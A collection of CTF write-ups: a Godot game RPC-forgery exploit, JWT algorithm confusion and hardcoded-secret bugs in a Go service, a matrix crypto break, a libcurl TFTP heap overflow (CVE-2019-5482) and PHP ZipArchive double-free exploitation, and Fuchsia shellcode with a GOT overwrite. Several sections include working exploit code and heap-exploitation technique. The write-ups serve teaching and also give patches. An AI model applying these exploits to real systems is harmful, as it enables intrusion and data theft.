This task was a multiplayer FPS game based on Godot engine. This is something you don’t see on CTFs often, let alone on attack-defense ones. One notable example I can think of is Pwn Adventure on Ghost in the Shellcode CTF many years ago. Although Pwn Adventure was considerably more complex, it was a jeopardy competition, and yet Lonely Island appeared on an attack-defense CTF.
The game itself is simple. It’s a capture the flag FPS shooter, akin to old-school arena shooters like Unreal Tournament or Quake (yes, being an Unreal guy myself, in this particular order). It follows the pirate theme of FAUST CTF 2021 itself. There’s only one map and only one weapon, projectile-based musket of some sort, which kills opponents in one shot. The gameplay itself has some bugs: you can hack your speed, the shadows are cast in the wrong direction from the sun, etc. But these bugs have nothing to do with the flags of the A/D competition.
When you register an account, you can input some bio text about yourself. You can befriend another player, and if they do the same to you, you’ll see each other’s biographies in the friend list. The check system registers accounts, and stores the flags in their biographies. So if you could befriend a check system account, and make it do the same to you, you’ll be a able to steal a flag.
In Godot, game logic is written in a high-level language called GDScript. Luckily, the scripts are stored in their source code form inside the game .pck
archives, which can be easily unpacked and repacked using various tools, like godot-unpacker and GodotPckTool (the latter is more powerful).
For every client connection, the server has a corresponding object, which source code can be found in server/connection.gd
:
extends Node
func answer_rpc(method: String, args: Array):
self.callv("rpc_id", [int(self.name), method] + args)
master func register(name: String, pw: String, bio: String):
answer_rpc("register_callback", get_parent().register(name, pw, bio))
master func login(name: String, pw: String):
answer_rpc("login_callback", [get_parent().login(int(self.name), name, pw)])
master func join_game():
get_parent().join_game(int(self.name))
master func add_friend(name: String):
get_parent().add_friend(int(self.name), name)
master func get_friends():
answer_rpc("friendlist_callback", [get_parent().get_friends(int(self.name))])
self.name
is initialized to network peer ID in _on_peer_connected
callback in server/server.gd
:
func _on_peer_connected(id: int):
var connection = Node.new()
connection.set_script(preload("res://server/connection.gd"))
connection.name = str(id)
add_child(connection)
Objects in Godot are organized in a hierarchy. For example, given peer ID 1748223063
, the full path for the connection object thus would be Remote/1748223063
.
There is a concept of object ownership in Godot: the authoritative owner for each object is either the server or one of the peers. However, this doesn’t present any security barrier: you’re free to call any RPC method of any object. You can even call a puppet
method of an object owned by some other peer: the server will route a method call for you (in this particular case all objects of interest are owned by the server, though). There’s a way to verify the sender, but it has to be done explicitly.
So this gives us the idea: we can try to call add_friend
on behalf of another player, making it befriend us. And after we befrined him ourselves, we’ll see his bio in our friend list.
However, in order to that, the player has to be connected when we issue a forged add_friend
call (there wouldn’t be a connection node otherwise), and we must know his peer ID (because that’s the name of the connection node) . Maybe there’s a way to simply ask the server for the list of ID of all connected peers. But I never bothered to check it, because there was another obvious way: when player enters the game, a new player node (in-game object) is created with name
equal to peer ID:
// server/game.gd
func join(id: int, playerinfo) -> bool:
if id in players:
return false
players[id] = true
var min_team = teams[0]
var teamid = 0
for i in range(1, len(teams)):
if len(teams[i]) < len(min_team):
min_team = teams[i]
teamid = i
min_team[id] = true
create_player(id, playerinfo.name, teamid)
for target_id in players:
if target_id != id:
self.rpc_id(target_id, "create_player", id, playerinfo.name, teamid)
return true
// client/game.gd
puppet func create_player(id: int, name: String, teamid: int):
if not visible or has_node(str(id)):
return
var player = preload("res://client/player.tscn").instance()
player.name = str(id)
player.player_name = name
player.teamid = teamid
add_child_below_node($Flag1, player)
The check system’s player does join the game for a brief moment. So if our exploit simply joined the game, and waited for a player to appear, it could forge these RPC calls right away, inside create_player
RPC handler.
The idea doesn’t sound too complicated, but how to automate this? Do we need to actually run a modified game client with graphics? Luckily, Godot has a CLI mode to execute a script directly. We can write some bare-bones script that would connect, and then call the required RPC methods to register, login and join the game. We don’t have to implement all the methods and all object types. The engine will spew errors about missing nodes when something happens in the game (player characters move, etc.), but these errors can be safely ignored.
Note that there are several source files: we have to mirror the object hierarchy, so the objects will have proper fully-qualified names. E.g. there should be a Remote
at the top, Remote/1748223063
would be our fake connection objects of other players, and Remote/Game
is the object that receives create_player
calls.
You can download the exploit archive here.
main.gd
extends SceneTree
func _init():
var node := Node.new()
node.set_script(load("./control.gd"))
get_root().add_child(node)
node.stuff()
yield()
quit()
control.gd
extends Node
signal connection_changed
var connection: Node
func stuff():
name = "Remote"
var game := Node.new()
game.set_script(load("./game.gd"))
game.name = "Game"
add_child(game)
var peer := NetworkedMultiplayerENet.new()
peer.connect("connection_failed", self, "emit_signal", ["connection_changed", false])
peer.connect("connection_succeeded", self, "emit_signal", ["connection_changed", true])
peer.connect("server_disconnected", self, "server_disconnected")
if peer.create_client(OS.get_environment("target"), 4321) != OK:
print("create_client failed")
get_tree().network_peer = peer
if yield(self, "connection_changed"):
connection = Node.new()
connection.set_script(load("connection.gd"))
connection.name = str(get_tree().get_network_unique_id())
print("our connection name is ", connection.name)
add_child(connection)
else:
print("fail")
var username = OS.get_environment("username")
var password = OS.get_environment("password")
connection.rpc_id(1, "register", username, password, "")
yield(connection, "registered")
connection.rpc_id(1, "login", username, password)
if yield(connection, "login"):
print("logged in")
else:
print("Cannot log in")
connection.rpc_id(1, "join_game")
connection.rpc_id(1, "get_friends")
var friends = yield(connection, "friendlist")
print(friends)
func server_disconnected():
get_tree().quit(1)
game.gd
extends Node
puppet func playerlist(list: Array):
print("playerlist ", list)
puppet func create_player(id: int, name: String, teamid: int):
print("create_player ", id, name, teamid)
var connection := Node.new()
connection.set_script(load("./decoded_pck/client_godot_decoded/client/connection.gd"))
connection.name = str(id)
get_parent().add_child(connection)
connection.rpc_id(1, "add_friend", OS.get_environment("username"))
get_parent().connection.rpc_id(1, "add_friend", name)
get_parent().connection.rpc_id(1, "get_friends")
var friends = yield(get_parent().connection, "friendlist")
print(friends)
puppet func delete_player(id: int):
print("delete_player ", id)
How can we patch this vulnerability? As I said earlier, there is a way to verify sender: get_tree().get_rpc_sender_id()
returns the ID of the peer that issued the RPC call being currently handled. Since self.name
is initialized to the peer ID, we could simply compare them:
master func add_friend(name: String):
var id = int(self.name)
if id != get_tree().get_rpc_sender_id():
print("EXPLOITATION DETECTED", " ", id, "!=", get_tree().get_rpc_sender_id())
return
get_parent().add_friend(id, name)
The legend of the service is parcel status tracking, like UPS or something. The service provides the following functionality:
The scoreboard bot registers a user, logins using these credentials, stores a flag into the credit card number field, and posts a feedback review. As the feedback is publicly accessible, the latter action provides a way to get usernames of scoreboard users, which would not be possible otherwise.
The parcel tracking feature, somewhat counterintuitively, does not contain any bugs and does not have any uses (at least none we’re aware of).
IPPS is written in Go. The sources were provided by the organizers, which makes it a real pleasure to solve the challenge.
There are 3 different ways to communicate with the service.
Web interface
The first way to communicate with the service is its web interface. It is a classical web application which provides access to all features of the service.
The web interface uses a session cookie mechanism to store information about current user (e.g. has the user logged in, and her username in case she has).
JSON API
The service provides a set of REST endpoints. These endpoints allow logging in and requesting credit card information for a user. This part supposed to have the same authorization mechanism as the web interface, see more in the description of bug #1.
GRPC service
IPPS also has GRPC service running on a separate port. It provides a way to retrieve a user’s credit card information as well.
GRPC uses an authorization mechanism that is different from the one used by other APIs. A user can request a JWT for a username/password pair, and then use it to retrieve credit card info. The token is signed using an RSA key pair, and the public key is also available via another GRPC endpoint.
The service contained a set of four different vulnerabilities, which are covered below.
Each vulnerability provides a way to get the credit card number of a user without knowing her password.
The service does not provide a way to list all users. However, scoreboard users post a publicly accessible feedback review. To exploit either of the vulnerabilities, teams must scrap the feedback page and extract user names.
First and the simplest bug is that JSON API does not perform any access checks before giving out users’ information. The endpoint /api/user/<username>
prints user credit card no matter user authorized or not. The exploitation is pretty trivial.
To mitigate the vulnerability, a team should enable loginChecker
middleware for the JSON APIs. It is already implemented in a separate file, but never used in the original source.
The service has two values that are supposed to be kept in secret: the session cookie signing key, and the private part of the JWT signing key pair.
Both values were hardcoded in the original service distribution, which meant that other teams’ installations use the same secrets. It allowed session cookie forgery, as well as JWT forgery for the GRPC interface. The exploitation of the vulnerability is easy if you write the exploit in Go because you can reuse the code from the challenge to make up both values.
To mitigate these vulnerabilities a team should regenerate JWT signing RSA key pair and change session cookie secret to any random value.
The last vulnerability was also the hardest to spot. It is present in the JWT verification code in the GRPC service.
As mentioned below, the GRPC part of the service has a unique authorization mechanism. First, a user requests a JWT by providing credentials. The server validates the credentials, and, if they are correct, generates and signs a token that contains username information. Second, the user sends this token to retrieve her credit card number.
The token is signed using an RSA key pair, which corresponds to the RS256
JWT algorithm. A well-known attack on JWT authorization is to change the algorithm to “none” or invalid value in hopes that signature verification will be skipped entirely.
This service does not allow “none” algorithm; however, it supports “HS256” algorithm, which is based on symmetrical cryptography — the signing key is the same as the verification key.
The bug resides in this HS256 support. After carefully reading the source code, it can be noted that the key
argument of the JWT verification function is always the public part of the RSA key pair. It is correct for the RS256
algorithm but makes no sense for HS256
variant: the public part is, well, public, and anyone knowing HS256
validation key can forge the token.
To exploit the vulnerability, an attacker can retrieve RSA public key via GRPC (the service provides such endpoint) and then use it to sign a forged JWT via HS256 algorithm. It can be done using any JWT library, but we used the same code the challenge uses to be sure everything will go smoothly.
In order to mitigate this one, teams could disable HS256 algorithm altogether. The login process via JWT does not provide a way to generate HS256 signed token, so there’s no way for such a token to be legit.
While the vulnerabilities were not very hard to find and exploit, it was enjoyable and entertaining to solve this challenge. The FAUST team does a great job organizing the CTF for the fifth time, and we’re looking forward to winning it again next year.
]]>First of all, we operate in the field $\mathbb{Z}_p$, where $p = 2^{32} - 5$.
The key idea of this cryptographic scheme is to consider a quadratic matrix equation
\[AX^2 + BX + C = 0.\]The decryption procedure works because we can cancel out the random $R$ using the property that the private $X_0$ satisfies this quadratic equation by construction of $C$:
\[\begin{aligned} A_e X_0^2 + B_e X_0 + C_e &= \left(R A\right) X_0^2 + \left(R B\right) X_0 + \left(R C + M\right) \\ &= R \cdot \left(A X_0^2 + B X_0 + C\right) + M \\ &= R \cdot 0 + M \\ &= M. \end{aligned}\]The matrices $A, B$ are generated the way that almost surely $\operatorname{rank} A = \operatorname{rank} B = 4$, so $A$ is not invertible, which prevents us from completing the square and scaling through by $A^{-1}$ to solve the quadratic equation effectively.
However, we can actually cancel out the $R$ with another equation which we can solve effectively, for example, the linear one:
\[\left(A + B\right) Y + C = 0.\]Since $\left(A + B\right)$ is invertible, $Y_0 = -\left(A + B\right)^{-1} C$ is obviously the solution of this linear equation, hence
\[\begin{aligned} \left(A_e + B_e\right) Y_0 + C_e &= \left(R A + R B\right) Y_0 + \left(R C + M\right) \\ &= R \cdot \left(\left(A + B\right) Y_0 + C\right) + M \\ &= R \cdot 0 + M \\ &= M. \end{aligned}\]Another way to look at this trick is to notice that
\[\begin{aligned} R &= R \cdot I \\ &= R \cdot (A + B)(A + B)^{-1} \\ &= (RA + RB)(A + B)^{-1} \\ &= (A_e + B_e)(A + B)^{-1},\\ M &= C_e - RC \\ &= C_e - (A_e + B_e)(A + B)^{-1}C. \end{aligned}\]Anyway, we can decrypt the flag using only the public key $\langle A, B, C\rangle$ and the encrypted message $\langle A_e, B_e, C_e\rangle$:
TWCTF{pa+h_t0_tomorr0w}
Okay, let’s do this one last time… The challenge implements a certain type of jail, where we are allowed to execute PHP code, but the execution of some functions is restricted by disable_functions
, so you can’t get code execution straight ahead. Also, you can’t directly open any file on the system due to open_basedir
being set to /tmp:/var/www/html
. To get flag you have to get a stable code execution on the server and execute /readflag
suid binary.
By looking into phpinfo()
and Dockerfile we can see that our version of PHP was built with support of different libraries, but in particular, I was attracted by libcurl. Since I am subscribed to amazing oss-security mailing list, I noticed curl advisory about heap buffer overflow vulnerability in TFTP protocol published couple of days ago. As we can see from phpinfo();
our built-in version of curl supports TFTP protocol as well.
Curl has pretty good security advisories, which provide us with useful information about the type of the bug, how to trigger it, when the bug was introduced and how it was patched. To debug this vulnerability I cloned curl source code from GitHub repo and did git reset --hard
to some commit, so that version in phpinfo()
and version in cloned repo would match. That way it was possible to compile curl with gdb symbols to LD_PRELOAD it later into apache process, so it would be so much easier to debug the process. After all, I realize that this was a terrible mistake and I describe it in more details in Mistakes were made chapter, as well as more correct way of the getting source code of curl to solve this challenge.
After going into the source code of TFTP protocol we can see that tftp_connect
function allocates send buffer, receive buffer and tftp_state_data_t
structure. From lib/tftp.c
:
static CURLcode tftp_connect(struct connectdata *conn, bool *done)
{
tftp_state_data_t *state;
int blksize;
blksize = TFTP_BLKSIZE_DEFAULT;
state = conn->proto.tftpc = calloc(1, sizeof(tftp_state_data_t));
if(!state)
return CURLE_OUT_OF_MEMORY;
if(conn->data->set.tftp_blksize) {
blksize = (int)conn->data->set.tftp_blksize;
if(blksize > TFTP_BLKSIZE_MAX || blksize < TFTP_BLKSIZE_MIN)
return CURLE_TFTP_ILLEGAL;
}
if(!state->rpacket.data) {
state->rpacket.data = calloc(1, blksize + 2 + 2);
if(!state->rpacket.data)
return CURLE_OUT_OF_MEMORY;
}
if(!state->spacket.data) {
state->spacket.data = calloc(1, blksize + 2 + 2);
if(!state->spacket.data)
return CURLE_OUT_OF_MEMORY;
}
// . . .
From this piece of code we know that each buffer has default size, but if conn->data->set.tftp_blksize
is set to non-zero and it passes some checks against nonsense values, then it becomes our blocksize. By grepping the code, we know that variable tftp_blksize
is being set in lib/setopt.c
. PHP curl API implements a rather limited version of real libcurl API, but this piece of code is within our reach. We can use curl_setopt
PHP function to set blocksize for our TFTP connection before actually connecting to anything.
As advisory mentions, vulnerability is contained in the OACK processing. OACK stands for “option acknowledgement” as we can tell by taking a brief look into rfc2348. This functionality allows server to specify options it wants to use during the connection, and one of those options is blocksize. Client is required to agree upon options provided by server or reply with an error packet.
After recieving each packet tftp_receive_packet
routine parses first two bytes that indicate opcode of the corresponding handler. The following code of the function, which parses OACK packet, contains some changes to keep snippet small and readable:
static CURLcode tftp_parse_option_ack(tftp_state_data_t *state, const char *ptr, int len)
{
const char *tmp = ptr;
struct Curl_easy *data = state->conn->data;
state->blksize = TFTP_BLKSIZE_DEFAULT;
while(tmp < ptr + len) {
const char *option, *value;
tmp = tftp_option_get(tmp, ptr + len - tmp, &option, &value);
if(tmp == NULL) {
failf(data, "Malformed ACK packet, rejecting");
return CURLE_TFTP_ILLEGAL;
}
if(checkprefix(option, TFTP_OPTION_BLKSIZE)) {
long blksize;
blksize = strtol(value, NULL, 10);
// . . .
// skipping out size checks of blksize
// . . .
state->blksize = (int)blksize;
else if(checkprefix(option, TFTP_OPTION_TSIZE)) {
// . . .
}
}
return CURLE_OK;
As you can see, in the first few lines state->blksize
is being assign to default TFTP_BLKSIZE_DEFAULT
value, which is equal to 512 bytes. Next, while loop parses all null terminated ascii key-value strings from inside the packet and checks if it matches certain string. But if key prefix doesn’t match any hardcoded value, then parser just ignores it. It is easy to see that if OACK packet doesn’t contain blocksize option, then state->blocksize
would remain equal to TFTP_BLKSIZE_DEFAULT
.
Vulnerability becomes pretty obvious if you remember that state->blksize
is used as length of the packet, which is received by recvfrom
function in tftp_receive_packet
, and the receiving buffer wasn’t reallocated at any point.
So, to trigger this vulnerability we would need to:
curl_init
and set CURLOPT_TFTP_BLKSIZE
to value less than TFTP_BLKSIZE_DEFAULT
.After happiness of the triggered bug subsides, it is time to realize all challenges of exploitation that we have here.
First of all, PHP and apache2 use different allocation algorithms, apart from curl, which uses default glibc malloc. So it wouldn’t be possible to change our glibc heap layout by allocating and freeing PHP objects.
There are not too many ways to manipulate heap during TFTP connection, because the only three allocations that are explicitly made here are the allocations of receive buffer, send buffer and state structure. Moreover, state structure is allocated before the receive buffer, so if allocations would arrange one after another, then the only thing that we can overflow is send buffer and something next to it.
If you attach debugger to the apache and try to reproduce the bug the same way as it was described in the previous chapter, you would see that during execution of tftp_connect
there are no good places to fit our receive buffer heap chunk, since almost none of the chunks on the heap are free at this moment. As a result, allocations in ftp_connect
would happen in the same order as they are in the code and the best thing that we can achieve is to overflow heap top chunk a.k.a wilderness. It opens up an opportunity for “house of force” exploitation, but this technique requires full control over size argument of malloc
. This is not an option, because curl is rather good piece of software, and it is designed not to allow allocations of arbitrary sizes. Even it would allow such behavior, then it could be treated as a real “bug”, which probably corresponds to a “CWE-400: Uncontrolled Resource Consumption”.
The the last problem on the list is that we would probably require a memory leak during the process of exploitation. Considering that my amazing teammates have already shared with me a technique on how bypass open_basedir
, we are able to read any file on the system, including /proc/self/maps
, so open_basedir
isn’t too much of a problem.
The main goal at this point is either to achieve arbitrary write by allocating state structure, right after our receive buffer, or we can overwrite some function pointer on the heap to achieve code execution. The second way works just fine.
Exploring code paths during connection termination would give us an answer to where do we find function pointers on the heap. In common scenario curl stores structures containing connection information in hash table. Each hash entry stores several pointers to a function that calculated the hash, a function to compare hashes and a pointer to destructor of a hash entry. Overwriting these hash entries may give us a pretty straight forward code execution, if we would manage to achieve good heap layout by using memory manipulation primitives correctly. Several hash entries are contained within struct Curl_multi
structure, which is one of the main data structures to hold information about our connection. It is one of the first structures to be allocated after curl_exec
has been called, so it will serve very well for our dark deeds.
The problem of achieving correct heap layout remains. In order to solve it, we can use other functions from PHP libcurl API that allow us to allocate and free objects on the same heap. Example of such function could be curl_setopt
, which I end up using in the exploit.
First thing that you may notice in the code is an obvious allocation of buffer that can be allocated and reallocate of hold our buffer. Unfortunately, this primitive has really strong size limits. That means we won’t be able to manipulate smaller chunks, which is necessary, if we want to find our receive buffer a good place. Still, it can be used to either fill or create holes on the heap.
Another primitive that we would use is much harder to notice and requires diving deeper into the code. After browsing lots of option handlers I realized that CURLOPT_COOKIELIST
is perfect for our goals. As mentioned above we would try to overwrite some function pointers, that are contained in struct Curl_multi
. This structure has size of 0x1e0, so we would need to allocate receive buffer very close to it in order to overwrite the pointer.
Option CURLOPT_COOKIELIST requires cookie to be in a single line in Mozilla/Netscape or HTTP-style header and it will not accept malformed cookies. As we are able see from the code of the handler, several allocation are created there. First allocation malloc(strlen(arg))
is made (line 765) during call to strdup
function, and it is free()-d at the end of the handler (line 782). There are several unimportant allocations made Curl_cookie_init
function, but call to Curl_cookie_add
(setopt.c:779) is very crucial for us. First things first, it allocates a struct Cookie
by calling to calloc(), which has size of 0x60 bytes! If the supplied cookie is malformed, then function would free cookie structure and all its fields that were already parsed by this point. If none of the fields were successfully parsed, then it would just free our struct Cookie
and return to the option handler, where is would free our strdup()-ed cookie string! If string supplied to this option would have length of 0x1e0, then we would be able to make two allocations of required sizes adjacent to each other and overflow thestruct Curl_multi
by allocating receive buffer of size 0x60. We will have to execute this primitive a couple of time, since most of our structures are allocated by using calloc
, which doesn’t use tcache for some reason.
So this it. The last step we need is to leak /proc/self/maps
and nail down our curl exploit in one script, since the second time our script gets executed, we may end up in a different apache worker, which would have a different memory layout. I implemented it by sending /proc/self/maps
from PHP script by using TCP connection to my Python server, which was already handling TFTP connection on another port.
In this chapter I want to share the lesson I learned while solving this challenge.
As I have already pointed out, my attempt to clone curl from GitHub and try to match the version was a complete failure. Although, Ubuntu packages have a reputation of, let’s say, “unfresh”, it seems that maintainers are trying to care about the security of popular pieces of software. After critical vulnerability has been reported to curl, they share the patch with package maintainers. Even if in some distro an older version of libcurl is being maintained, security patch will be backported to it. On the day, when curl advisory goes public, maintainers publish security updated packages. Moreover, it seems that after security patch comes out, vulnerable binary packages are permanently deleted from the repository, so you don’t shoot yourself in a leg. Since docker image is based on Ubuntu 18.04 you can find Ubuntu Security Notice, which mentions the CVE, that we are trying to exploit. It also contains a link to a source package with patch description and a full version number: “7.58.0-2ubuntu3.8”. This version number consists of two parts. The first one: “7.58.0”, which is the version of curl. And second one: “2ubuntu3.8” the version of Ubuntu source package with backported fixes.
After I finished testing 90% ready-to-pwn exploit with local LD_PRELOAD-ed library with symbols, I finally decided to test it with real libcurl that was installed into my docker container, when it was built. And what do you know… It didn’t work… It is needless to describe my frustration, when I realized that Ubuntu package was updated the same day advisory was published in oss-security. Luckily, Emil has solved this challenge and saved the day.
After solving the challenge we ran dpkg -l | grep curl
on the remote machine just for fun and guess what. The server was using unpatched version “ubuntu3.7”. This is an really epic fail, which resulted into a time loss of me and my teammate. I was able to read any file on the remote system, and I could have checked whether my exploit works with the remote library by LD_PRELOAD-ing it. After realizing that fact it was a matter of minutes to modify and finalize the exploit, but still…
This version mismatch probably happened, because challenge was already deployed on the server a week ago. So outdated container image is showing us a good level of preparations by the organizers.
Lesson learned. CTF RULE #37: Think less. Check everything you can at any point.
I would like to thank organizers for this amazing CTF, I’ve learned a lot from it. Real World CTF is definitely on my must-attend list.
Full exploit: https://gist.github.com/PaulCher/79706bf3633d176cca0e47b1b5290cb2
]]>The task had two binaries - caidanti
and caidanti-storage-service
, running on Google’s Fuchsia operating system, which is currently under active development.
Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.
You can communicate with caidanti
binary over the network, which in turn communicates with caidanti-storage-service
over FIDL IPC.
Both flags are only available in the caidanti-storage-service
, so gaining code execution just in caidanti
is insufficient.
Getting the first flag required a fair amount of reverse engineering.
First, caidanti
has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.
The code is written in C++, and the class that handles the backend communication has unused function that does “GetFlag1” remote call. So we can call it from our shellcode.
The function takes two parameters, both of which are std::string
(or something similar).
Second, the implementation of this function on caidanti-storage-service
side returns the flag in the second argument if the first argument is string "YouMadeAFIDLCall"
(this check is obfuscated).
I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.
typedef struct std_string {
union {
struct {
char s[23];
unsigned char len;
} inlinestr;
struct {
char *buf;
size_t len;
size_t cap;
} bigstr;
};
} std_string;
static char *std_string_data(std_string *self) {
if (self->inlinestr.len & 0x80) {
return self->bigstr.buf;
} else {
return &self->inlinestr.s[0];
}
}
void _start(void) {
char *binary_base = __builtin_return_address(0) - 0x7205;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
printf("\n");
printf("Binary base: %p\n", binary_base);
struct std_string param2 = {.inlinestr = {.s = "YouMadeAFIDLCall", .len = 16} };
struct std_string param3 = {0};
printf("%s\n", std_string_data(¶m2));
void (*sub_7F00)(void *, void *, void *) = binary_base + 0x7F00;
sub_7F00(*(void**)(binary_base + 0x12140), ¶m2, ¶m3);
printf("%s\n", std_string_data(¶m3));
return;
}
The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in caidanti-storage-service
.
What we didn’t use so far is that except “GetFlag1” function, the service also provides some note taking functionality (our beloved pwn cliché).
Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it’s a shared memory, any changes done by caidanti
are immediately reflected in caidanti-storage-service
.
The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and std::string
s.
typedef struct {
unsigned char used;
std_string key;
char value[256];
} secret_t;
typedef struct {
void *vtable1;
// skip
secret_t secrets[16];
} shit_t;
To read arbitrary memory, we point some note’s key
buffer to memory we want to read, set len
and capacity
accordingly, and call ListKeys
function.
When new note is created, the new name is assigned (operator=
) to the existing std::string
instance. If its capacity
is already enough to hold the new string, the new data is simply copied to the existing buffer
. So to implement the arbitrary write primitive, we mark a note unused, set buffer
and capacity
accordingly, and create a new note with key
is the data we want to write.
These primitives are very powerful, and quite likely it’s possible to do the stack pivot and obtain arbitrary shellcode execution.
However, there’s a much simpler solution.
When caidanti-storage-service
is run, it checks that the second flag is readable. It does so by calling open
, but it doesn’t call close
afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn’t have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).
The GetFlag1
function calls open
to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns 3
in eax
register, so we could overwrite open
GOT entry with it (which luckily was writeable).
And we found it:
pid_t __cdecl stub_getpid()
{
return 3;
}
push rbp ; Alternative name is 'getpid'
mov rbp, rsp
mov eax, 3
pop rbp
retn
After patching the open
GOT entry, the function that used to return the first flag now returns the second flag. And that’s it.
void _start(void) {
char *binary_base = __builtin_return_address(0) - 0x7205;
char *service_base;
char *libc_base;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
printf("\n");
printf("Binary base: %p\n", binary_base);
REBASE_FUNCTIONS(binary_base);
const void *FOO = *(void**)(binary_base + 0x12140);
{
struct std_string key = INIT_STRING("hui");
struct std_string value = INIT_STRING("test");
int new_id;
create_secret(FOO, &key, &value, &new_id);
}
shit_t *shit;
{
struct std_string key = INIT_STRING("hui");
int *handle = 0;
read_secret(FOO, &key, &handle);
zx_vaddr_t res;
zx_vmar_map(zx_vmar_root_self(), ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, 0, *handle, 0, 8192, &res);
shit = (shit_t*)res;
}
service_base = shit->vtable1 - 0x13060;
printf("storage-service base: %p\n", service_base);
shit->secrets[0].used = 1;
shit->secrets[0].key.bigstr.buf = service_base + 0x140B8; // strlen
shit->secrets[0].key.bigstr.len = 256;
shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
{
stringvector_t hui = {0, 0};
list_secrets(FOO, &hui);
while (hui.begin < hui.end) {
uintptr_t *ptr = std_string_data(hui.begin);
printf(" %p\n", *ptr);
libc_base = *ptr - 0x98530;
hui.begin += 32;
break;
}
}
printf("libc base: %p\n", libc_base);
shit->secrets[0].used = 0;
shit->secrets[0].key.bigstr.buf = service_base + 0x14018; /// open
shit->secrets[0].key.bigstr.len = 0;
shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
{
struct std_string key = {.inlinestr = {.len = 8}};
*(uintptr_t*)&key = libc_base + 0x9D270; // "return 3" gadget
struct std_string value = INIT_STRING("AAAAAAAA");
int new_id;
create_secret(FOO, &key, &value, &new_id);
}
{
struct std_string param = INIT_STRING("YouMadeAFIDLCall");
struct std_string value = {};
get_flag1(FOO, ¶m, &value);
printf("%s\n", std_string_data(&value));
}
return;
}
Before continuing, open another solution in a browser tab (yes, we solved the same challenge twice. Well almost). My teammate @paulcher used CVE-2019-5482 to achieve RCE in this challenge and was very close to success.
The challenge consists of a single php script that just executes user code from $_POST["rce"]
using eval; our goal is to bypass open_basedir
and disable_functions
protections and execute a command. We’re given the Dockerfile and the URL of a remote HTTP endpoint.
We knew how to bypass open_basedir
(see the corresponding section above). However, we were not able to find any flaws in the disable_functions
list — all tricks like putenv + mail were restricted.
Notably, we’re given a copy of the source of the PHP interpreter (it’s in C) which is compiled during docker build
and the challenge is in the “pwn” category. These facts suggest we’ll have to deal with filthy binary stuff.
After careful diffing with the PHP source on Github, we’ve found a commit that differs from the source we’re given in one meaningful line.
This line is in implementation of ZipArchive::open
method and looks like this:
--- /home/inviz/ctf/tools/php-src/ext/zip/php_zip.c 2019-09-15 17:02:18.933895580 +0300
+++ ./ext/zip/php_zip.c 2019-08-20 10:52:03.000000000 +0300
@@ -1380,7 +1380,6 @@
}
if (ze_obj->filename) {
efree(ze_obj->filename);
- ze_obj->filename = NULL;
}
intern = zip_open(resolved_path, flags, &err);
The ZipArchive
class is a class for handling ZIP archives. Its instances are reusable; one can call $zipArchive->open(...)
multiple times and work with different files using the same instance of the ZipArchive
class. The underlying code of ZipArchive::open
is implemented in C.
All methods of ZipArchive
class preserve the following invariant: the name of the file that is currently opened is stored in ze_obj->filename
as a C string. If it’s NULL
, no file is opened. The logic of the original open
method is as follows:
ze_obj->filename
is NULL. If this is not true, it calls efree
on this pointer and replaces it with NULL.ze_obj->filename
as a C string.The patch removes “replaces it with NULL” part from step 1. As we can supply any PHP code we can make the first call to ZipArchive::open
succeed and following multiple calls to fail; these calls will perform efree
of the same address, resulting in a dangling pointer stored in ze_obj->filename
that can be efree
d again later. More importantly, we can make PHP interpreter allocate something in its place between calls to efree
, making it kinda use-after-free.
As you may note the function that releases memory is called efree
, not free
. This is PHP’s internal allocator. Instead of diving deep into its details, we just state a property that any sane allocator has; it’s the only property we need for the exploitation.
The property is: if we call free
on a block of size S bytes and then call malloc(S)
multiple times, we’ll eventually get the address we just freed. The PHP allocator uses free lists, so we need to call malloc only once and we will immediately get the just-freed address.
In other words, after executing the following C code:
a = emalloc(size);
efree(a);
b = emalloc(size);
we’ll have a == b
.
From the PHP code point of view it gives us the following exploit draft:
$size = <some value we define later>;
// The size of the next string in C is $size as "/tmp/" is 5 bytes and
// the terminating zero byte also counts.
$archive_name = "/tmp/".str_repeat("X", $size - 6);
// First we create our ZipArchive object.
$archive = new ZipArchive();
// Next call succeeds and ze_obj->filename of size $size is allocated.
$archive->open($arcive_name, ZipArchive::CREATE);
// Next call fails as we can't open "/etc/passwd" and
// ze_obj->filename is free'd.
$archive->open("/etc/passwd", ZipArchive::CREATE);
// If "<expression 1>" produces an object with internal representation
// of size $size, it will be allocated on the same place where dangling
// ze_obj->filename points to.
$object1 = <expression 1>
// Next call will free the memory containing internal representation
// of $object1. However, the variable $object1 remains and we can
// still use it.
$archive->open("/etc/passwd", ZipArchive::CREATE);
// If "<expression 2>" again produces an object with internal
// representation of size $size, it will be allocated on the same place
// where both ze_obj->filename and internal representation
// of $object1 should be.
$object2 = <expression 2>
If both <expression 1>
and <expression 2>
produce objects with an internal representation of size $size
we’ll have two objects, $object1
and $object2
whose internal representations are in the same memory region. Note that this can be completely different objects with a different meaning of fields. Also note that after the execution of the code above the memory has been initialized for holding $object2
. This means that fields of struct holding $object1
may have been changed.
What we need to do to proceed is to find which objects to use in <expression 1>
and <expression 2>
.
Let’s recap where we are so far. We need to choose two PHP objects, $object1
and $object2
with the same size of their internal representation (e.g., C structs). After that, we’ll use the introduced bug to make these representations be in the same memory. Thus the C structs will get corrupted, resulting in unpredictable effects which we hope to use for our benefit.
The choice for $object1
is simple: just use a string. PHP strings are stored as 32-byte header struct + character bytes in C code, so they have variable size. The header contains the length of the string. PHP strings are mutable, so if we corrupt the length (making it very big if interpreted as an integer), we’ll be able to edit the whole heap region after it. Using a string for unrestricted access to memory is pretty standard in the exploitation of interpreters.
The value of $object2
can be anything as long as it satisfies two conditions:
An instance of StdClass
